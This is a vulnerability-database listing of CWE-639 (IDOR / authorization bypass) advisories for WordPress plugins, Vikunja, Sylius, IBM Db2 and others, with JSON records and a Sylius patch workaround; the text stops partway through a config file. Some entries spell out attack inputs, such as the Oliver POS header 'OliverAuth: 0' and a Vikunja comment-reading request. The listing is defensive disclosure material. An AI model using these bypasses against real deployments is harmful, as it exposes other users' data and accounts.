Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3255 vulnerabilities reference this CWE, most recent first.

GHSA-MJXJ-P494-QX82

Vulnerability from github – Published: 2026-04-04 09:30 – Updated: 2026-04-04 09:30
VLAI
Details

The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.25 via multiple AJAX actions including wcfm_modify_order_status, delete_wcfm_article, delete_wcfm_product, and the article management controller due to missing validation on user-supplied object IDs. This makes it possible for authenticated attackers, with Vendor-level access and above, to modify the status of any order, delete or modify any post/product/page, regardless of ownership.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-04T08:16:06Z",
    "severity": "HIGH"
  },
  "details": "The WCFM \u2013 Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.25 via multiple AJAX actions including `wcfm_modify_order_status`, `delete_wcfm_article`, `delete_wcfm_product`, and the article management controller due to missing validation on user-supplied object IDs. This makes it possible for authenticated attackers, with Vendor-level access and above, to modify the status of any order, delete or modify any post/product/page, regardless of ownership.",
  "id": "GHSA-mjxj-p494-qx82",
  "modified": "2026-04-04T09:30:25Z",
  "published": "2026-04-04T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4896"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.24/core/class-wcfm-ajax.php?marks=644,880#L644"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.24/core/class-wcfm-article.php?marks=271#L271"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8248098-dff2-4bac-a138-aa40c7ab7a1c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MMJ9-Q94Q-RWJ7

Vulnerability from github – Published: 2023-06-23 18:30 – Updated: 2024-04-04 05:07
VLAI
Details

A logic issue was addressed with improved checks. This issue is fixed in watchOS 9.5, macOS Ventura 13.4, iOS 16.5 and iPadOS 16.5, macOS Big Sur 11.7.7, macOS Monterey 12.6.6. An app may bypass Gatekeeper checks

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-32352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-23T18:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A logic issue was addressed with improved checks. This issue is fixed in watchOS 9.5, macOS Ventura 13.4, iOS 16.5 and iPadOS 16.5, macOS Big Sur 11.7.7, macOS Monterey 12.6.6. An app may bypass Gatekeeper checks",
  "id": "GHSA-mmj9-q94q-rwj7",
  "modified": "2024-04-04T05:07:16Z",
  "published": "2023-06-23T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32352"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213757"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213758"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213759"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213760"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213764"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213761"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MP28-4JVQ-G6X7

Vulnerability from github – Published: 2026-01-31 00:30 – Updated: 2026-01-31 00:30
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 under specific configuration of cataloged remote storage aliases could allow an authenticated user to execute unauthorized commands due to an authorization bypass vulnerability using a user-controlled key.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-30T22:15:54Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 under specific configuration of cataloged remote storage aliases could allow an authenticated user to execute unauthorized commands due to an authorization bypass vulnerability using a user-controlled key.",
  "id": "GHSA-mp28-4jvq-g6x7",
  "modified": "2026-01-31T00:30:28Z",
  "published": "2026-01-31T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36365"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7257665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MPGM-9GR3-FHR6

Vulnerability from github – Published: 2026-07-11 09:34 – Updated: 2026-07-11 09:34
VLAI
Details

The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.27 via the wcfm_product_archive due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to archive arbitrary vendors' products, toggle the featured status on arbitrary listings, mark arbitrary WooCommerce orders as completed, and permanently delete arbitrary enquiries and bulk messages belonging to other vendors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-11T07:16:44Z",
    "severity": "MODERATE"
  },
  "details": "The WCFM \u2013 Frontend Manager for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.27 via the wcfm_product_archive due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to archive arbitrary vendors\u0027 products, toggle the featured status on arbitrary listings, mark arbitrary WooCommerce orders as completed, and permanently delete arbitrary enquiries and bulk messages belonging to other vendors.",
  "id": "GHSA-mpgm-9gr3-fhr6",
  "modified": "2026-07-11T09:34:17Z",
  "published": "2026-07-11T09:34:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10041"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.26/core/class-wcfm-ajax.php#L746"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.26/core/class-wcfm-ajax.php#L779"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.26/core/class-wcfm-ajax.php#L810"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.26/core/class-wcfm-enquiry.php#L395"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.26/core/class-wcfm-notification.php#L1132"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.27/core/class-wcfm-ajax.php#L746"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.27/core/class-wcfm-ajax.php#L779"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.27/core/class-wcfm-ajax.php#L810"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.27/core/class-wcfm-enquiry.php#L395"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.27/core/class-wcfm-notification.php#L1132"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3588570%40wc-frontend-manager\u0026new=3588570%40wc-frontend-manager"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e3f88a18-5439-4759-ae9f-168f5efc3264?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MQ58-P8PV-XX7F

Vulnerability from github – Published: 2024-07-17 18:31 – Updated: 2024-08-01 15:32
VLAI
Details

NATO NCI ANET 3.4.1 allows Insecure Direct Object Reference via a modified ID field in a request for a private draft report (that belongs to an arbitrary user).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-17T18:15:03Z",
    "severity": "HIGH"
  },
  "details": "NATO NCI ANET 3.4.1 allows Insecure Direct Object Reference via a modified ID field in a request for a private draft report (that belongs to an arbitrary user).",
  "id": "GHSA-mq58-p8pv-xx7f",
  "modified": "2024-08-01T15:32:05Z",
  "published": "2024-07-17T18:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38447"
    },
    {
      "type": "WEB",
      "url": "https://www.linkedin.com/pulse/idors-ncia-anet-v341-visionspace-technologies-hepxe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MQWC-JXPP-F3RJ

Vulnerability from github – Published: 2026-05-20 03:31 – Updated: 2026-05-20 03:31
VLAI
Details

The Oliver POS – A WooCommerce Point of Sale (POS) plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 2.4.2.6. The plugin protects its entire /wp-json/pos-bridge/* REST API namespace through the oliver_pos_rest_authentication() permission callback, which uses a loose PHP comparison (==) to compare the attacker-supplied 'OliverAuth' header value against the 'oliver_pos_authorization_token' option. On fresh installations where the admin has not yet completed the connection flow, this option is unset (get_option returns false). Due to PHP's type juggling, the loose comparison '0' == false evaluates to true, allowing an unauthenticated attacker to bypass authentication by sending 'OliverAuth: 0'. This grants full access to all POS API endpoints, enabling attackers to read user data (including administrator details), update user profiles (including email addresses), and delete non-admin users. An admin account email reset can lead to site takeover.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6072"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T02:16:37Z",
    "severity": "MODERATE"
  },
  "details": "The Oliver POS \u2013 A WooCommerce Point of Sale (POS) plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 2.4.2.6. The plugin protects its entire /wp-json/pos-bridge/* REST API namespace through the oliver_pos_rest_authentication() permission callback, which uses a loose PHP comparison (==) to compare the attacker-supplied \u0027OliverAuth\u0027 header value against the \u0027oliver_pos_authorization_token\u0027 option. On fresh installations where the admin has not yet completed the connection flow, this option is unset (get_option returns false). Due to PHP\u0027s type juggling, the loose comparison \u00270\u0027 == false evaluates to true, allowing an unauthenticated attacker to bypass authentication by sending \u0027OliverAuth: 0\u0027. This grants full access to all POS API endpoints, enabling attackers to read user data (including administrator details), update user profiles (including email addresses), and delete non-admin users. An admin account email reset can lead to site takeover.",
  "id": "GHSA-mqwc-jxpp-f3rj",
  "modified": "2026-05-20T03:31:34Z",
  "published": "2026-05-20T03:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6072"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/tags/2.4.2.6/includes/class-pos-bridge-user.php#L170"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/tags/2.4.2.6/includes/class-pos-bridge-user.php#L195"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/tags/2.4.2.6/includes/class-pos-bridge-user.php#L231"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/tags/2.4.2.6/includes/class-pos-bridge.php#L1677"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/tags/2.4.2.6/includes/class-pos-bridge.php#L1679"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/trunk/includes/class-pos-bridge-user.php#L170"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/trunk/includes/class-pos-bridge-user.php#L195"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/trunk/includes/class-pos-bridge-user.php#L231"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/trunk/includes/class-pos-bridge.php#L1677"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oliver-pos/trunk/includes/class-pos-bridge.php#L1679"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ca6aa922-9c58-445c-b88a-3d1d1c95102c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MR39-QWFQ-3RMH

Vulnerability from github – Published: 2026-07-17 12:31 – Updated: 2026-07-17 12:31
VLAI
Details

Improper access control in Hashtopolis server web-interface chunk activity component for versions prior to 0.14.8 allows any created account to read all cracked hashes of a Hashtopolis server instance.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T10:16:36Z",
    "severity": "HIGH"
  },
  "details": "Improper access control in Hashtopolis server web-interface chunk activity component for versions prior to 0.14.8 allows any created account to read all cracked hashes of a Hashtopolis server instance.",
  "id": "GHSA-mr39-qwfq-3rmh",
  "modified": "2026-07-17T12:31:29Z",
  "published": "2026-07-17T12:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22104"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/CVE-2026-22104"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/DIVD-2026-00010"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashtopolis/server/releases/tag/v0.14.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:I/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MR3J-P26X-72X4

Vulnerability from github – Published: 2026-03-20 17:25 – Updated: 2026-03-25 20:53
VLAI
Summary
Vikunja has an IDOR in Task Comments Allows Reading Arbitrary Comments
Details

An authenticated user can read any task comment by ID, regardless of whether they have access to the task the comment belongs to, by substituting the task ID in the API URL with a task they do have access to.

Details

The GET /api/v1/tasks/{taskID}/comments/{commentID} endpoint performs an authorization check against the task ID provided in the URL path, then loads the comment by its own ID without verifying it belongs to that task.

Root Cause

In pkg/models/task_comment_permissions.go, CanRead constructs a Task using the TaskID from the URL and checks Task.CanRead:

func (tc *TaskComment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
    t := Task{ID: tc.TaskID}
    return t.CanRead(s, a)
}

In pkg/models/task_comments.go, getTaskCommentSimple loads the comment by ID only, with NoAutoCondition() explicitly disabling XORM's implicit struct-field filtering:

func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {
    exists, err := s.
        Where("id = ?", tc.ID).
        NoAutoCondition().
        Get(tc)
    // ...
}

The generic web handler (pkg/web/handler/read_one.go) calls CanRead before ReadOne, so the permission check passes against the attacker-controlled task ID, and then ReadOne returns the comment from a completely different task.

Attack Scenario

  1. Attacker is authenticated and has read access to any task (task ID A) — e.g. their own task.
  2. Attacker guesses or enumerates a comment ID (C) belonging to a task in another user's private project.
  3. Attacker requests: GET /api/v1/tasks/A/comments/C
  4. Authorization passes because the attacker can read task A.
  5. The comment C is loaded by ID only and returned, leaking its contents and author.

Credit

This vulnerability was found using GitHub Security Lab Taskflows.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T17:25:30Z",
    "nvd_published_at": "2026-03-24T15:16:35Z",
    "severity": "MODERATE"
  },
  "details": "An authenticated user can read any task comment by ID, regardless of whether they have access to the task the comment belongs to, by substituting the task ID in the API URL with a task they do have access to.\n\n## Details\n\nThe `GET /api/v1/tasks/{taskID}/comments/{commentID}` endpoint performs an authorization check against the task ID provided in the URL path, then loads the comment by its own ID without verifying it belongs to that task.\n\n### Root Cause\n\nIn `pkg/models/task_comment_permissions.go`, `CanRead` constructs a `Task` using the `TaskID` from the URL and checks `Task.CanRead`:\n\n```go\nfunc (tc *TaskComment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {\n    t := Task{ID: tc.TaskID}\n    return t.CanRead(s, a)\n}\n```\n\nIn `pkg/models/task_comments.go`, `getTaskCommentSimple` loads the comment by ID only, with `NoAutoCondition()` explicitly disabling XORM\u0027s implicit struct-field filtering:\n\n```go\nfunc getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {\n    exists, err := s.\n        Where(\"id = ?\", tc.ID).\n        NoAutoCondition().\n        Get(tc)\n    // ...\n}\n```\n\nThe generic web handler (`pkg/web/handler/read_one.go`) calls `CanRead` before `ReadOne`, so the permission check passes against the attacker-controlled task ID, and then `ReadOne` returns the comment from a completely different task.\n\n### Attack Scenario\n\n1. Attacker is authenticated and has read access to any task (task ID `A`) \u2014 e.g. their own task.\n2. Attacker guesses or enumerates a comment ID (`C`) belonging to a task in another user\u0027s private project.\n3. Attacker requests: `GET /api/v1/tasks/A/comments/C`\n4. Authorization passes because the attacker can read task `A`.\n5. The comment `C` is loaded by ID only and returned, leaking its contents and author.\n\n## Credit\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).",
  "id": "GHSA-mr3j-p26x-72x4",
  "modified": "2026-03-25T20:53:02Z",
  "published": "2026-03-20T17:25:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-mr3j-p26x-72x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/bc6d843ed4df82a6c89f10aa676a7a33d27bf2fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja has an IDOR in Task Comments Allows Reading Arbitrary Comments"
}

GHSA-MR9R-H354-966R

Vulnerability from github – Published: 2026-07-09 21:03 – Updated: 2026-07-09 21:03
VLAI
Summary
Sylius: IDOR on Shop Payment Request API endpoints
Details

Impact

The GET /api/v2/shop/payment-requests/{hash} and PUT /api/v2/shop/payment-requests/{hash} endpoints look up the payment request solely by the hash from the URL. No ownership check is performed against the authenticated customer or the underlying order.

An attacker who obtains a payment request hash can:

  • read the payment request and, through the payment IRI in the response, recover the underlying order's tokenValue (which itself grants access to the full order, items, addresses, customer email, totals);
  • update the payment request payload (e.g. target_path, after_path). These fields are used by the front-end controller to redirect the user after the payment, so an attacker can flip them to an attacker-controlled URL and intercept the buyer.

The hash is a UUID, so it has to be obtained out-of-band (logs, shared links, referrer headers, a co-located client), but once it is known no other credential is required, neither authentication nor knowledge of the order token.

The creation endpoint POST /api/v2/shop/orders/{tokenValue}/payment-requests shares the same flaw: it resolves the target order solely from the tokenValue in the URL without verifying that the caller owns the order.

Patches

The issue is fixed in versions: 2.0.18, 2.1.15, 2.2.6.

Workarounds

Until you can upgrade, apply the following workaround. It enforces ownership on the existing endpoints, so that:

  • an authenticated shop user may only access payment requests of their own orders;
  • an anonymous caller may only access payment requests of guest orders (the order's customer has no associated user account);
  • everyone else receives 404 Not Found.

Step 1. Add a query extension that filters the GET operation

Create file src/ApiPlatform/QueryExtension/PaymentRequestOwnershipExtension.php:

<?php

declare(strict_types=1);

namespace App\ApiPlatform\QueryExtension;

use ApiPlatform\Doctrine\Orm\Extension\QueryItemExtensionInterface;
use ApiPlatform\Doctrine\Orm\Util\QueryNameGeneratorInterface;
use ApiPlatform\Metadata\Operation;
use Doctrine\ORM\QueryBuilder;
use Sylius\Bundle\ApiBundle\Context\UserContextInterface;
use Sylius\Bundle\ApiBundle\SectionResolver\ShopApiSection;
use Sylius\Bundle\CoreBundle\SectionResolver\SectionProviderInterface;
use Sylius\Component\Core\Model\ShopUserInterface;
use Sylius\Component\Payment\Model\PaymentRequestInterface;

final readonly class PaymentRequestOwnershipExtension implements QueryItemExtensionInterface
{
    public function __construct(
        private SectionProviderInterface $sectionProvider,
        private UserContextInterface $userContext,
    ) {
    }

    public function applyToItem(
        QueryBuilder $queryBuilder,
        QueryNameGeneratorInterface $queryNameGenerator,
        string $resourceClass,
        array $identifiers,
        ?Operation $operation = null,
        array $context = [],
    ): void {
        if (!is_a($resourceClass, PaymentRequestInterface::class, true)) {
            return;
        }

        if (!$this->sectionProvider->getSection() instanceof ShopApiSection) {
            return;
        }

        $rootAlias = $queryBuilder->getRootAliases()[0];
        $paymentJoin = $queryNameGenerator->generateJoinAlias('payment');
        $orderJoin = $queryNameGenerator->generateJoinAlias('order');
        $customerJoin = $queryNameGenerator->generateJoinAlias('customer');
        $userJoin = $queryNameGenerator->generateJoinAlias('user');
        $createdByGuestParameterName = $queryNameGenerator->generateParameterName('createdByGuest');

        $queryBuilder
            ->innerJoin(sprintf('%s.payment', $rootAlias), $paymentJoin)
            ->innerJoin(sprintf('%s.order', $paymentJoin), $orderJoin)
            ->leftJoin(sprintf('%s.customer', $orderJoin), $customerJoin)
            ->leftJoin(sprintf('%s.user', $customerJoin), $userJoin)
        ;

        $user = $this->userContext->getUser();

        if ($user instanceof ShopUserInterface) {
            $customerParam = $queryNameGenerator->generateParameterName('customer');

            $queryBuilder
                ->andWhere($queryBuilder->expr()->eq(sprintf('%s.customer', $orderJoin), sprintf(':%s', $customerParam)))
                ->setParameter($customerParam, $user->getCustomer())
            ;

            return;
        }

        $queryBuilder
            ->andWhere(
                $queryBuilder->expr()->orX(
                    $queryBuilder->expr()->isNull($userJoin),
                    $queryBuilder->expr()->isNull(sprintf('%s.customer', $orderJoin)),
                    $queryBuilder->expr()->andX(
                        $queryBuilder->expr()->isNotNull($userJoin),
                        $queryBuilder->expr()->eq(sprintf('%s.createdByGuest', $orderJoin), sprintf(':%s', $createdByGuestParameterName)),
                    ),
                ),
            )
            ->setParameter($createdByGuestParameterName, true)
        ;
    }
}

Step 2. Decorate the PUT state provider

Create file src/ApiPlatform/StateProvider/PaymentRequestOwnershipProvider.php:

<?php

declare(strict_types=1);

namespace App\ApiPlatform\StateProvider;

use ApiPlatform\Metadata\Operation;
use ApiPlatform\State\ProviderInterface;
use Sylius\Bundle\ApiBundle\Context\UserContextInterface;
use Sylius\Component\Core\Model\CustomerInterface;
use Sylius\Component\Core\Model\OrderInterface;
use Sylius\Component\Core\Model\PaymentInterface;
use Sylius\Component\Core\Model\ShopUserInterface;
use Sylius\Component\Payment\Model\PaymentRequestInterface;

/** @implements ProviderInterface<PaymentRequestInterface> */
final readonly class PaymentRequestOwnershipProvider implements ProviderInterface
{
    /** @param ProviderInterface<PaymentRequestInterface> $inner */
    public function __construct(
        private ProviderInterface $inner,
        private UserContextInterface $userContext,
    ) {
    }

    public function provide(Operation $operation, array $uriVariables = [], array $context = []): array|object|null
    {
        $paymentRequest = $this->inner->provide($operation, $uriVariables, $context);
        if (!$paymentRequest instanceof PaymentRequestInterface) {
            return $paymentRequest;
        }

        if (!$this->isAccessible($paymentRequest)) {
            return null;
        }

        return $paymentRequest;
    }

    private function isAccessible(PaymentRequestInterface $paymentRequest): bool
    {
        $payment = $paymentRequest->getPayment();
        if (!$payment instanceof PaymentInterface) {
            return false;
        }

        $order = $payment->getOrder();
        if (!$order instanceof OrderInterface) {
            return false;
        }

        $user = $this->userContext->getUser();

        if ($user instanceof ShopUserInterface) {
            $customer = $user->getCustomer();

            return $customer instanceof CustomerInterface && $order->getCustomer() === $customer;
        }

        $customer = $order->getCustomer();

        return null === $customer
               || null === $customer->getUser()
               || $order->isCreatedByGuest();
    }
}

Step 3. Guard the POST creation endpoint with a command-bus middleware

The POST /api/v2/shop/orders/{tokenValue}/payment-requests operation is a messenger: input operation: it dispatches a Sylius\Bundle\ApiBundle\Command\Payment\AddPaymentRequest command whose orderTokenValue comes straight from the URL, so no query extension or state provider runs. Add a middleware on the Sylius command bus that loads the order, applies the same ownership rule, and aborts with 404 before the handler runs.

Create file src/Messenger/Middleware/PaymentRequestOwnershipMiddleware.php:

<?php

declare(strict_types=1);

namespace App\Messenger\Middleware;

use Sylius\Bundle\ApiBundle\Command\Payment\AddPaymentRequest;
use Sylius\Bundle\ApiBundle\Context\UserContextInterface;
use Sylius\Component\Core\Model\CustomerInterface;
use Sylius\Component\Core\Model\OrderInterface;
use Sylius\Component\Core\Model\ShopUserInterface;
use Sylius\Component\Core\Repository\OrderRepositoryInterface;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
use Symfony\Component\Messenger\Envelope;
use Symfony\Component\Messenger\Middleware\MiddlewareInterface;
use Symfony\Component\Messenger\Middleware\StackInterface;

final readonly class PaymentRequestOwnershipMiddleware implements MiddlewareInterface
{
    /** @param OrderRepositoryInterface<OrderInterface> $orderRepository */
    public function __construct(
        private OrderRepositoryInterface $orderRepository,
        private UserContextInterface $userContext,
    ) {
    }

    public function handle(Envelope $envelope, StackInterface $stack): Envelope
    {
        $command = $envelope->getMessage();

        if ($command instanceof AddPaymentRequest && !$this->isOrderAccessible($command->orderTokenValue)) {
            throw new NotFoundHttpException('Not Found');
        }

        return $stack->next()->handle($envelope, $stack);
    }

    private function isOrderAccessible(string $orderTokenValue): bool
    {
        /** @var OrderInterface|null $order */
        $order = $this->orderRepository->findOneByTokenValue($orderTokenValue);
        if (null === $order) {
            // Unknown token — let the handler return its own 404 (PaymentNotFoundException).
            return true;
        }

        $user = $this->userContext->getUser();

        if ($user instanceof ShopUserInterface) {
            $customer = $user->getCustomer();

            return $customer instanceof CustomerInterface && $order->getCustomer() === $customer;
        }

        $customer = $order->getCustomer();

        return null === $customer
            || null === $customer->getUser()
            || $order->isCreatedByGuest();
    }
}

Step 4. Wire the services

Append to config/services.yaml:

services:
    App\ApiPlatform\QueryExtension\PaymentRequestOwnershipExtension:
        arguments:
            - '@sylius.section_resolver.uri_based'
            - '@sylius_api.context.user.token_based'
        tags:
            - { name: api_platform.doctrine.orm.query_extension.item }

    App\ApiPlatform\StateProvider\PaymentRequestOwnershipProvider:
        decorates: sylius_api.state_provider.shop.payment.payment_request.item
        arguments:
            $inner: '@.inner'
            $userContext: '@sylius_api.context.user.token_based'

    App\Messenger\Middleware\PaymentRequestOwnershipMiddleware:
        arguments:
            - '@sylius.repository.order'
            - '@sylius_api.context.user.token_based'

With the default Sylius-Standard services.yaml (autowire: true, autoconfigure: true) the two classes are already autoloaded, the block above only adds the tag and the decoration, which cannot be derived from the constructor signatures.

Step 5. Register the middleware on the Sylius command bus

Add to config/packages/messenger.yaml:

framework:
    messenger:
        buses:
            sylius.command_bus:
                middleware:
